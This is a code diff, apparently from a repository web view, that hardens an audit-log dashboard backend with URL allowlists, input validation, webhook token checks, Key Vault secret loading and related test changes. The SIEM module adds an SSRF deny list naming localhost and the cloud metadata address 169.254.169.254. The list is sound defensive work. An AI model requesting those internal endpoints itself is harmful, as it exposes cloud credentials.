allowed = any(hostname == d or (d.startswith("*.") and hostname.endswith(d[1:])) for d in LLM_ALLOWED_DOMAINS)
|
||||||
|
if not allowed:
|
||||||
|
raise RuntimeError(f"LLM_BASE_URL domain '{hostname}' is not in LLM_ALLOWED_DOMAINS")
|
||||||
|
|
||||||
|
|
||||||
def _build_chat_url(base_url: str, api_version: str) -> str:
|
def _build_chat_url(base_url: str, api_version: str) -> str:
|
||||||
base = base_url.rstrip("/")
|
base = base_url.rstrip("/")
|
||||||
|
|||||||
@@ -18,8 +18,8 @@ def auth_config():
|
|||||||
logger.debug("Auth config requested", auth_enabled=AUTH_ENABLED)
|
logger.debug("Auth config requested", auth_enabled=AUTH_ENABLED)
|
||||||
return {
|
return {
|
||||||
"auth_enabled": AUTH_ENABLED,
|
"auth_enabled": AUTH_ENABLED,
|
||||||
"tenant_id": AUTH_TENANT_ID,
|
"tenant_id": AUTH_TENANT_ID if AUTH_ENABLED else "",
|
||||||
"client_id": AUTH_CLIENT_ID,
|
"client_id": AUTH_CLIENT_ID if AUTH_ENABLED else "",
|
||||||
"scope": AUTH_SCOPE,
|
"scope": AUTH_SCOPE,
|
||||||
"redirect_uri": None, # frontend uses window.location.origin by default
|
"redirect_uri": None, # frontend uses window.location.origin by default
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -75,12 +75,14 @@ def run_fetch(hours: int = 168):
|
|||||||
|
|
||||||
|
|
||||||
@router.get("/fetch-audit-logs", response_model=FetchAuditLogsResponse)
|
@router.get("/fetch-audit-logs", response_model=FetchAuditLogsResponse)
|
||||||
def fetch_logs(
|
async def fetch_logs(
|
||||||
hours: int = Query(default=168, ge=1, le=720),
|
hours: int = Query(default=168, ge=1, le=720),
|
||||||
user: dict = Depends(require_auth),
|
user: dict = Depends(require_auth),
|
||||||
):
|
):
|
||||||
|
import asyncio
|
||||||
|
|
||||||
try:
|
try:
|
||||||
result = run_fetch(hours=hours)
|
result = await asyncio.to_thread(run_fetch, hours=hours)
|
||||||
log_action(
|
log_action(
|
||||||
"fetch_audit_logs",
|
"fetch_audit_logs",
|
||||||
"/api/fetch-audit-logs",
|
"/api/fetch-audit-logs",
|
||||||
|
|||||||
@@ -7,10 +7,18 @@ import structlog
|
|||||||
from auth import require_auth
|
from auth import require_auth
|
||||||
from database import saved_searches_collection
|
from database import saved_searches_collection
|
||||||
from fastapi import APIRouter, Depends, HTTPException
|
from fastapi import APIRouter, Depends, HTTPException
|
||||||
|
from pydantic import BaseModel, Field
|
||||||
|
|
||||||
router = APIRouter(dependencies=[Depends(require_auth)])
|
router = APIRouter(dependencies=[Depends(require_auth)])
|
||||||
logger = structlog.get_logger("aoc.saved_searches")
|
logger = structlog.get_logger("aoc.saved_searches")
|
||||||
|
|
||||||
|
MAX_SAVED_SEARCHES_PER_USER = 50
|
||||||
|
|
||||||
|
|
||||||
|
class SavedSearchCreate(BaseModel):
|
||||||
|
name: str = Field(..., min_length=1, max_length=200)
|
||||||
|
filters: dict = Field(default_factory=dict)
|
||||||
|
|
||||||
|
|
||||||
def _user_sub(user: dict) -> str:
|
def _user_sub(user: dict) -> str:
|
||||||
return user.get("sub", "anonymous")
|
return user.get("sub", "anonymous")
|
||||||
@@ -29,22 +37,25 @@ async def list_saved_searches(user: dict = Depends(require_auth)):
|
|||||||
|
|
||||||
|
|
||||||
@router.post("/saved-searches")
|
@router.post("/saved-searches")
|
||||||
async def create_saved_search(body: dict, user: dict = Depends(require_auth)):
|
async def create_saved_search(body: SavedSearchCreate, user: dict = Depends(require_auth)):
|
||||||
"""Save the current filter set."""
|
"""Save the current filter set."""
|
||||||
name = (body.get("name") or "").strip()
|
sub = _user_sub(user)
|
||||||
if not name:
|
existing = saved_searches_collection.count_documents({"created_by": sub})
|
||||||
raise HTTPException(status_code=400, detail="Name is required")
|
if existing >= MAX_SAVED_SEARCHES_PER_USER:
|
||||||
|
raise HTTPException(
|
||||||
|
status_code=400,
|
||||||
|
detail=f"Maximum of {MAX_SAVED_SEARCHES_PER_USER} saved searches per user reached.",
|
||||||
|
)
|
||||||
|
|
||||||
filters = body.get("filters") or {}
|
|
||||||
doc = {
|
doc = {
|
||||||
"_id": str(uuid.uuid4()),
|
"_id": str(uuid.uuid4()),
|
||||||
"name": name,
|
"name": body.name,
|
||||||
"filters": filters,
|
"filters": body.filters,
|
||||||
"created_at": datetime.now(UTC).isoformat().replace("+00:00", "Z"),
|
"created_at": datetime.now(UTC).isoformat().replace("+00:00", "Z"),
|
||||||
"created_by": _user_sub(user),
|
"created_by": sub,
|
||||||
}
|
}
|
||||||
saved_searches_collection.insert_one(doc)
|
saved_searches_collection.insert_one(doc)
|
||||||
logger.info("Saved search created", name=name, user=doc["created_by"])
|
logger.info("Saved search created", name=body.name, user=sub)
|
||||||
doc["id"] = doc.pop("_id")
|
doc["id"] = doc.pop("_id")
|
||||||
return doc
|
return doc
|
||||||
|
|
||||||
|
|||||||
@@ -17,7 +17,15 @@ async def graph_webhook(request: Request):
|
|||||||
if validation_token:
|
if validation_token:
|
||||||
# Microsoft sends validationToken as a query param during subscription creation.
|
# Microsoft sends validationToken as a query param during subscription creation.
|
||||||
# Echo it back as plain text to prove endpoint ownership.
|
# Echo it back as plain text to prove endpoint ownership.
|
||||||
return Response(content=validation_token, media_type="text/plain")
|
# Validate to prevent content injection if endpoint is hit directly.
|
||||||
|
if len(validation_token) > 1024 or not validation_token.isascii():
|
||||||
|
logger.warning("Invalid validationToken rejected", length=len(validation_token))
|
||||||
|
return Response(status_code=400)
|
||||||
|
return Response(
|
||||||
|
content=validation_token,
|
||||||
|
media_type="text/plain",
|
||||||
|
headers={"X-Content-Type-Options": "nosniff"},
|
||||||
|
)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
body = await request.json()
|
body = await request.json()
|
||||||
@@ -44,7 +52,6 @@ async def graph_webhook(request: Request):
|
|||||||
"Received Graph notification",
|
"Received Graph notification",
|
||||||
change_type=notification.get("changeType"),
|
change_type=notification.get("changeType"),
|
||||||
resource=notification.get("resource"),
|
resource=notification.get("resource"),
|
||||||
client_state=client_state,
|
|
||||||
)
|
)
|
||||||
|
|
||||||
return {"status": "accepted"}
|
return {"status": "accepted"}
|
||||||
|
|||||||
@@ -0,0 +1,76 @@
|
|||||||
|
"""Optional Azure Key Vault integration for secrets storage.
|
||||||
|
|
||||||
|
If AZURE_KEY_VAULT_NAME is configured, sensitive secrets are fetched from
|
||||||
|
Azure Key Vault at startup and injected into the environment so that
|
||||||
|
pydantic-settings can read them. Falls back to .env / environment variables
|
||||||
|
when Key Vault is not configured.
|
||||||
|
|
||||||
|
Secret naming convention in Key Vault:
|
||||||
|
aoc-client-secret → CLIENT_SECRET
|
||||||
|
aoc-llm-api-key → LLM_API_KEY
|
||||||
|
aoc-mongo-uri → MONGO_URI
|
||||||
|
aoc-webhook-client-secret → WEBHOOK_CLIENT_SECRET
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
|
import structlog
|
||||||
|
|
||||||
|
logger = structlog.get_logger("aoc.secrets")
|
||||||
|
|
||||||
|
_KEY_VAULT_SECRET_MAP = {
|
||||||
|
"aoc-client-secret": "CLIENT_SECRET",
|
||||||
|
"aoc-llm-api-key": "LLM_API_KEY",
|
||||||
|
"aoc-mongo-uri": "MONGO_URI",
|
||||||
|
"aoc-webhook-client-secret": "WEBHOOK_CLIENT_SECRET",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def _load_from_key_vault(vault_name: str) -> dict[str, str]:
|
||||||
|
"""Fetch secrets from Azure Key Vault and return as {env_name: value}."""
|
||||||
|
try:
|
||||||
|
from azure.identity import DefaultAzureCredential
|
||||||
|
from azure.keyvault.secrets import SecretClient
|
||||||
|
except ImportError as exc:
|
||||||
|
raise RuntimeError(
|
||||||
|
"Azure Key Vault libraries are not installed. Run: pip install azure-identity azure-keyvault-secrets"
|
||||||
|
) from exc
|
||||||
|
|
||||||
|
vault_url = f"https://{vault_name}.vault.azure.net/"
|
||||||
|
credential = DefaultAzureCredential()
|
||||||
|
client = SecretClient(vault_url=vault_url, credential=credential)
|
||||||
|
|
||||||
|
loaded = {}
|
||||||
|
for kv_name, env_name in _KEY_VAULT_SECRET_MAP.items():
|
||||||
|
try:
|
||||||
|
secret = client.get_secret(kv_name)
|
||||||
|
if secret.value:
|
||||||
|
loaded[env_name] = secret.value
|
||||||
|
logger.info("Loaded secret from Key Vault", secret_name=kv_name)
|
||||||
|
except Exception as exc:
|
||||||
|
logger.warning(
|
||||||
|
"Failed to load secret from Key Vault",
|
||||||
|
secret_name=kv_name,
|
||||||
|
error=str(exc),
|
||||||
|
)
|
||||||
|
return loaded
|
||||||
|
|
||||||
|
|
||||||
|
def load_key_vault_secrets(vault_name: str | None = None):
|
||||||
|
"""Load secrets from Azure Key Vault into os.environ if configured.
|
||||||
|
|
||||||
|
This should be called BEFORE pydantic-settings parses configuration.
|
||||||
|
"""
|
||||||
|
vault = vault_name or os.environ.get("AZURE_KEY_VAULT_NAME", "")
|
||||||
|
if not vault:
|
||||||
|
return
|
||||||
|
|
||||||
|
logger.info("Loading secrets from Azure Key Vault", vault_name=vault)
|
||||||
|
secrets = _load_from_key_vault(vault)
|
||||||
|
for env_name, value in secrets.items():
|
||||||
|
os.environ[env_name] = value
|
||||||
|
logger.info(
|
||||||
|
"Key Vault secrets loaded",
|
||||||
|
count=len(secrets),
|
||||||
|
keys=list(secrets.keys()),
|
||||||
|
)
|
||||||
+29
-1
@@ -1,15 +1,43 @@
|
|||||||
|
import ipaddress
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
import structlog
|
import structlog
|
||||||
from config import SIEM_ENABLED, SIEM_WEBHOOK_URL
|
from config import SIEM_ALLOWED_DOMAINS, SIEM_ENABLED, SIEM_WEBHOOK_URL
|
||||||
|
|
||||||
logger = structlog.get_logger("aoc.siem")
|
logger = structlog.get_logger("aoc.siem")
|
||||||
|
|
||||||
|
|
||||||
|
def _validate_siem_url(url: str):
|
||||||
|
"""Prevent SSRF by rejecting internal/reserved addresses and enforcing domain allowlist."""
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
parsed = urlparse(url)
|
||||||
|
if parsed.scheme != "https":
|
||||||
|
raise RuntimeError("SIEM_WEBHOOK_URL must use HTTPS")
|
||||||
|
hostname = (parsed.hostname or "").lower()
|
||||||
|
if not hostname:
|
||||||
|
raise RuntimeError("SIEM_WEBHOOK_URL must have a valid hostname")
|
||||||
|
blocked = {"localhost", "127.0.0.1", "0.0.0.0", "::1", "169.254.169.254"}
|
||||||
|
if hostname in blocked:
|
||||||
|
raise RuntimeError(f"SIEM_WEBHOOK_URL hostname '{hostname}' is not allowed")
|
||||||
|
try:
|
||||||
|
ip = ipaddress.ip_address(hostname)
|
||||||
|
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
|
||||||
|
raise RuntimeError(f"SIEM_WEBHOOK_URL IP '{hostname}' is not allowed")
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
if SIEM_ALLOWED_DOMAINS:
|
||||||
|
allowed = any(hostname == d or (d.startswith("*.") and hostname.endswith(d[1:])) for d in SIEM_ALLOWED_DOMAINS)
|
||||||
|
if not allowed:
|
||||||
|
raise RuntimeError(f"SIEM_WEBHOOK_URL domain '{hostname}' is not in SIEM_ALLOWED_DOMAINS")
|
||||||
|
|
||||||
|
|
||||||
def forward_event(event: dict):
|
def forward_event(event: dict):
|
||||||
"""Forward a normalized event to the configured SIEM webhook."""
|
"""Forward a normalized event to the configured SIEM webhook."""
|
||||||
if not SIEM_ENABLED or not SIEM_WEBHOOK_URL:
|
if not SIEM_ENABLED or not SIEM_WEBHOOK_URL:
|
||||||
return
|
return
|
||||||
try:
|
try:
|
||||||
|
_validate_siem_url(SIEM_WEBHOOK_URL)
|
||||||
res = requests.post(SIEM_WEBHOOK_URL, json=event, timeout=10)
|
res = requests.post(SIEM_WEBHOOK_URL, json=event, timeout=10)
|
||||||
res.raise_for_status()
|
res.raise_for_status()
|
||||||
logger.debug("Event forwarded to SIEM", event_id=event.get("id"))
|
logger.debug("Event forwarded to SIEM", event_id=event.get("id"))
|
||||||
|
|||||||
@@ -11,13 +11,25 @@ AUDIT_CONTENT_TYPES = {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# Office 365 Management Activity API hard limits
|
||||||
|
_API_MAX_WINDOW_HOURS = 24
|
||||||
|
_API_MAX_LOOKBACK_DAYS = 7
|
||||||
|
|
||||||
|
|
||||||
def _time_window(hours: int, since: str | None = None):
|
def _time_window(hours: int, since: str | None = None):
|
||||||
end = datetime.utcnow()
|
end = datetime.utcnow()
|
||||||
|
earliest_allowed = end - timedelta(days=_API_MAX_LOOKBACK_DAYS)
|
||||||
|
max_window_start = end - timedelta(hours=_API_MAX_WINDOW_HOURS)
|
||||||
|
|
||||||
if since:
|
if since:
|
||||||
# Office 365 API expects format without Z
|
# Office 365 API expects format without Z
|
||||||
start = datetime.fromisoformat(since.replace("Z", "+00:00")).replace(tzinfo=None)
|
start = datetime.fromisoformat(since.replace("Z", "+00:00")).replace(tzinfo=None)
|
||||||
|
# Clamp: the API rejects windows > 24 h or start times > 7 days in the past.
|
||||||
|
# If the watermark is stale (e.g. after a long outage), cap to the most recent
|
||||||
|
# 24-hour window so the API accepts the request; subsequent fetches catch up.
|
||||||
|
start = max(start, earliest_allowed, max_window_start)
|
||||||
else:
|
else:
|
||||||
start = end - timedelta(hours=hours)
|
start = max(end - timedelta(hours=min(hours, _API_MAX_WINDOW_HOURS)), earliest_allowed)
|
||||||
return start.strftime("%Y-%m-%dT%H:%M:%S"), end.strftime("%Y-%m-%dT%H:%M:%S")
|
return start.strftime("%Y-%m-%dT%H:%M:%S"), end.strftime("%Y-%m-%dT%H:%M:%S")
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -51,18 +51,32 @@ def client(mock_events_collection, mock_watermarks_collection, monkeypatch):
|
|||||||
|
|
||||||
# Mock Redis so tests don't require a running Redis server
|
# Mock Redis so tests don't require a running Redis server
|
||||||
class FakeRedis:
|
class FakeRedis:
|
||||||
|
_store = {}
|
||||||
|
|
||||||
async def get(self, key):
|
async def get(self, key):
|
||||||
return None
|
return self._store.get(key)
|
||||||
|
|
||||||
async def setex(self, key, ttl, value):
|
async def setex(self, key, ttl, value):
|
||||||
|
self._store[key] = value
|
||||||
|
|
||||||
|
async def incr(self, key):
|
||||||
|
self._store[key] = self._store.get(key, 0) + 1
|
||||||
|
return self._store[key]
|
||||||
|
|
||||||
|
async def expire(self, key, ttl):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
async def fake_get_arq_pool():
|
async def fake_get_arq_pool():
|
||||||
return FakeRedis()
|
return FakeRedis()
|
||||||
|
|
||||||
|
async def fake_get_redis():
|
||||||
|
return FakeRedis()
|
||||||
|
|
||||||
monkeypatch.setattr("redis_client.get_arq_pool", fake_get_arq_pool)
|
monkeypatch.setattr("redis_client.get_arq_pool", fake_get_arq_pool)
|
||||||
|
monkeypatch.setattr("redis_client.get_redis", fake_get_redis)
|
||||||
monkeypatch.setattr("routes.ask.get_arq_pool", fake_get_arq_pool)
|
monkeypatch.setattr("routes.ask.get_arq_pool", fake_get_arq_pool)
|
||||||
monkeypatch.setattr("routes.jobs.get_redis", fake_get_arq_pool)
|
monkeypatch.setattr("routes.jobs.get_redis", fake_get_redis)
|
||||||
|
monkeypatch.setattr("rate_limiter.get_redis", fake_get_redis)
|
||||||
|
|
||||||
from main import app
|
from main import app
|
||||||
|
|
||||||
|
|||||||
@@ -157,8 +157,8 @@ def test_saved_searches_delete_not_found(client, monkeypatch):
|
|||||||
|
|
||||||
def test_saved_searches_create_validation(client, monkeypatch):
|
def test_saved_searches_create_validation(client, monkeypatch):
|
||||||
monkeypatch.setattr("auth.AUTH_ENABLED", False)
|
monkeypatch.setattr("auth.AUTH_ENABLED", False)
|
||||||
response = client.post("/api/saved-searches", json={"name": " ", "filters": {}})
|
response = client.post("/api/saved-searches", json={"name": "", "filters": {}})
|
||||||
assert response.status_code == 400
|
assert response.status_code == 422
|
||||||
|
|
||||||
|
|
||||||
def test_privacy_filtering_events_by_operation(client, mock_events_collection, monkeypatch):
|
def test_privacy_filtering_events_by_operation(client, mock_events_collection, monkeypatch):
|
||||||
@@ -268,7 +268,7 @@ def test_health(client):
|
|||||||
|
|
||||||
|
|
||||||
def test_metrics(client):
|
def test_metrics(client):
|
||||||
response = client.get("/metrics")
|
response = client.get("/metrics", headers={"X-Forwarded-For": "127.0.0.1"})
|
||||||
assert response.status_code == 200
|
assert response.status_code == 200
|
||||||
assert "aoc_request_duration_seconds" in response.text
|
assert "aoc_request_duration_seconds" in response.text
|
||||||
|
|
||||||
|
|||||||
@@ -141,7 +141,7 @@ class TestBuildEventQuery:
|
|||||||
class TestAskEndpoint:
|
class TestAskEndpoint:
|
||||||
def test_ask_empty_question(self, client):
|
def test_ask_empty_question(self, client):
|
||||||
response = client.post("/api/ask", json={"question": ""})
|
response = client.post("/api/ask", json={"question": ""})
|
||||||
assert response.status_code == 400
|
assert response.status_code == 422
|
||||||
|
|
||||||
def test_ask_no_events(self, client):
|
def test_ask_no_events(self, client):
|
||||||
response = client.post("/api/ask", json={"question": "What happened to device NONEXISTENT in the last 3 days?"})
|
response = client.post("/api/ask", json={"question": "What happened to device NONEXISTENT in the last 3 days?"})
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
import asyncio
|
||||||
from unittest.mock import patch
|
from unittest.mock import patch
|
||||||
|
|
||||||
import auth
|
import auth
|
||||||
@@ -28,19 +29,19 @@ def test_allowed_by_group():
|
|||||||
|
|
||||||
@patch("auth.AUTH_ENABLED", False)
|
@patch("auth.AUTH_ENABLED", False)
|
||||||
def test_require_auth_disabled():
|
def test_require_auth_disabled():
|
||||||
claims = require_auth(None)
|
claims = asyncio.run(require_auth(None))
|
||||||
assert claims["sub"] == "anonymous"
|
assert claims["sub"] == "anonymous"
|
||||||
|
|
||||||
|
|
||||||
@patch("auth.AUTH_ENABLED", True)
|
@patch("auth.AUTH_ENABLED", True)
|
||||||
def test_require_auth_missing_header():
|
def test_require_auth_missing_header():
|
||||||
with pytest.raises(HTTPException) as exc_info:
|
with pytest.raises(HTTPException) as exc_info:
|
||||||
require_auth(None)
|
asyncio.run(require_auth(None))
|
||||||
assert exc_info.value.status_code == 401
|
assert exc_info.value.status_code == 401
|
||||||
|
|
||||||
|
|
||||||
@patch("auth.AUTH_ENABLED", True)
|
@patch("auth.AUTH_ENABLED", True)
|
||||||
def test_require_auth_invalid_bearer():
|
def test_require_auth_invalid_bearer():
|
||||||
with pytest.raises(HTTPException) as exc_info:
|
with pytest.raises(HTTPException) as exc_info:
|
||||||
require_auth("Basic abc")
|
asyncio.run(require_auth("Basic abc"))
|
||||||
assert exc_info.value.status_code == 401
|
assert exc_info.value.status_code == 401
|
||||||
|
|||||||
+1
-1
@@ -33,7 +33,7 @@ services:
|
|||||||
- mongo
|
- mongo
|
||||||
- redis
|
- redis
|
||||||
ports:
|
ports:
|
||||||
- "8000:8000"
|
- "127.0.0.1:8000:8000"
|
||||||
|
|
||||||
worker:
|
worker:
|
||||||
build: ./backend
|
build: ./backend
|
||||||
|
|||||||
+2
-4
@@ -30,11 +30,9 @@ http {
|
|||||||
gzip_comp_level 6;
|
gzip_comp_level 6;
|
||||||
gzip_types text/plain text/css text/xml application/json application/javascript application/rss+xml application/atom+xml image/svg+xml;
|
gzip_types text/plain text/css text/xml application/json application/javascript application/rss+xml application/atom+xml image/svg+xml;
|
||||||
|
|
||||||
# Security headers
|
# Security headers — most headers are set by the backend; only add non-duplicates here.
|
||||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
# X-XSS-Protection is kept for legacy browser compatibility.
|
||||||
add_header X-Content-Type-Options "nosniff" always;
|
|
||||||
add_header X-XSS-Protection "1; mode=block" always;
|
add_header X-XSS-Protection "1; mode=block" always;
|
||||||
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
|
|
||||||
|
|
||||||
# Upstream backend
|
# Upstream backend
|
||||||
upstream aoc_backend {
|
upstream aoc_backend {
|
||||||
|
|||||||
Reference in New Issue
Block a user